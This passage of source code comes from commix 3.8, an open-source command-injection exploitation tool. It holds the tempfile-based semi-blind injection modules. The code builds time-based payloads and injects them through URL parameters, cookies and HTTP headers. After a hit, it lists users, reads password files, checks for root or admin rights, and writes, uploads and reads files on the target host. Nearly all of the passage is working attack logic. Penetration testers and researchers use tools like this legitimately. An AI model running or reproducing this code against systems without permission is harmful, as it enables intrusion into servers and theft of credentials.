payload = payload.replace("\n","%0d")
return payload
# eof commix-3.8/src/core/injections/semiblind/techniques/tempfile_based/ 0000775 0000000 0000000 00000000000 14466364451 0025642 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/semiblind/techniques/tempfile_based/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0027757 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py 0000775 0000000 0000000 00000032460 14466364451 0031405 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector
"""
The "tempfile-based" injection technique on Semiblind OS Command Injection.
__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls.
"""
"""
Powershell's version number enumeration (for Windows OS)
"""
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
# Command execution results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
ps_version = output
checks.print_ps_version(ps_version, filename, _)
"""
Hostname enumeration
"""
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
_ = True
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_hostname(shell, filename, _)
"""
Retrieve system information
"""
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_os = output
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if target_os:
if settings.TARGET_OS != settings.OS.WINDOWS:
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
distro_name = output
if len(distro_name) != 0:
target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
if settings.VERBOSITY_LEVEL == 0 and _:
sys.stdout.write("\n")
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_arch = output
checks.print_os_info(target_os, target_arch, filename, _)
"""
The current user enumeration
"""
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, cu_account = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
_ = True
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user(cu_account, filename, _)
"""
Check if the current user has excessive privileges.
"""
def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
_ = True
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user_privs(shell, filename, _)
"""
System users enumeration
"""
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
cmd = settings.SYS_USERS
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_SYS_USERS
cmd = cmd + settings.WIN_REPLACE_WHITESPACE
# URL encode "+ " if POST request and python alternative shell.
if alter_shell and http_request_method == settings.HTTPMETHOD.POST:
cmd = cmd.replace("+","%2B")
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
try:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
except TypeError:
output = ""
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
sys_users = output
checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
"""
System passwords enumeration
"""
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
cmd = settings.SYS_PASSES
#print(settings.SINGLE_WHITESPACE)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
_ = True
if output == False:
output = ""
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
sys_passes = output
checks.print_passes(sys_passes, filename, _, alter_shell)
"""
Single os-shell execution
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
checks.print_enumenation().print_single_os_cmd_msg(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
check_how_long = 0
checks.print_single_os_cmd(cmd, output)
return check_how_long, output
"""
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
def reset():
if settings.ENUMERATION_DONE:
settings.ENUMERATION_DONE = False
reset()
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().ps_version_msg()
powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
if menu.options.hostname:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().hostname_msg()
hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
if menu.options.current_user:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().current_user_msg()
current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
if menu.options.is_root or menu.options.is_admin:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().check_privs_msg()
check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
if menu.options.sys_info:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().os_info_msg()
system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
if menu.options.users:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().print_users_msg()
system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
if menu.options.passwords:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--passwords"
checks.unavailable_option(check_option)
else:
checks.print_enumenation().print_passes_msg()
system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
# eof
commix-3.8/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py 0000775 0000000 0000000 00000014646 14466364451 0031325 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector
"""
The "tempfile-based" injection technique on Semiblind OS Command Injection.
__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls.
"""
"""
Write to a file on the target host.
"""
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == settings.OS.WINDOWS:
_ = True
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACES[0]
cmd = checks.change_dir(dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cmd = checks.win_decode_b64_enc(fname, tmp_fname)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
cmd = checks.delete_tmp(tmp_fname)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
else:
cmd = checks.write_content(content, dest_to_write)
cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_write)
if settings.VERBOSITY_LEVEL == 0 and not _:
print(settings.SINGLE_WHITESPACE)
check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
checks.file_write_status(shell, dest_to_write)
"""
Upload a file on the target host.
"""
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
cmd, dest_to_upload = checks.check_file_to_upload()
check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_upload)
check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
checks.file_upload_status(shell, dest_to_upload)
"""
Read a file from the target host.
"""
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
cmd, file_to_read = checks.file_content_to_read()
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
_ = True
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = "".join(str(p) for p in shell)
if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0:
print(settings.SINGLE_WHITESPACE)
checks.file_read_status(shell, file_to_read, filename)
"""
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if menu.options.file_write:
file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
if menu.options.file_upload:
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--file-upload"
checks.unavailable_option(check_option)
else:
file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
if menu.options.file_read:
file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
# eof commix-3.8/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py 0000775 0000000 0000000 00000076210 14466364451 0030475 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import re
import sys
import time
import string
import random
import base64
from src.utils import menu
from src.utils import logs
from src.utils import settings
from src.core.compat import xrange
from src.utils import session_handler
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.utils import common
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.core.injections.controller import shell_options
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.file_based import fb_injector
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector
from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads
from src.core.injections.semiblind.techniques.tempfile_based import tfb_enumeration
from src.core.injections.semiblind.techniques.tempfile_based import tfb_file_access
"""
The "tempfile-based" injection technique on semiblind OS command injection.
__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive results.
"""
"""
Delete previous shells outputs.
"""
def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'"
print(settings.print_debug_msg(debug_msg))
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
"""
The "tempfile-based" injection technique handler
"""
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
export_injection_info = False
how_long = 0
injection_type = "semi-blind command injection"
technique = "tempfile-based injection technique"
if settings.TIME_RELATIVE_ATTACK == False:
warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions."
print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
settings.TIME_RELATIVE_ATTACK = None
# Check if defined "--maxlen" option.
if menu.options.maxlen:
settings.MAXLEN = maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
err_msg = "The '--url-reload' option is not available in " + technique + "!"
print(settings.print_critical_msg(err_msg))
if not settings.LOAD_SESSION:
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
if settings.VERBOSITY_LEVEL != 0:
info_msg ="Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
print(settings.print_info_msg(info_msg))
#whitespace = checks.check_whitespaces()
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
how_long_statistic = []
if settings.LOAD_SESSION:
try:
settings.TEMPFILE_BASED_STATE = True
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if timesec <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
message = "Unexpected time delays have been identified due to unstable "
message += "requests. This behavior may lead to false-positive results. "
sys.stdout.write("\r")
while True:
message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
timesec = timesec + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
common.invalid_option(proceed_option)
pass
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(0, 4)
randv2 = random.randrange(1, 5)
randvcalc = randv1 + randv2
if settings.TARGET_OS == settings.OS.WINDOWS:
if alter_shell:
cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
rand_num = randv1 + randv2
cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")"
else:
cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))"
# Set the original delay time
original_how_long = how_long
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if settings.VERBOSITY_LEVEL == 0:
percent = settings.info_msg
else:
percent = ""
#break
else:
break
# False positive
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
except (KeyboardInterrupt, SystemExit):
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
# print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except EOFError:
if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
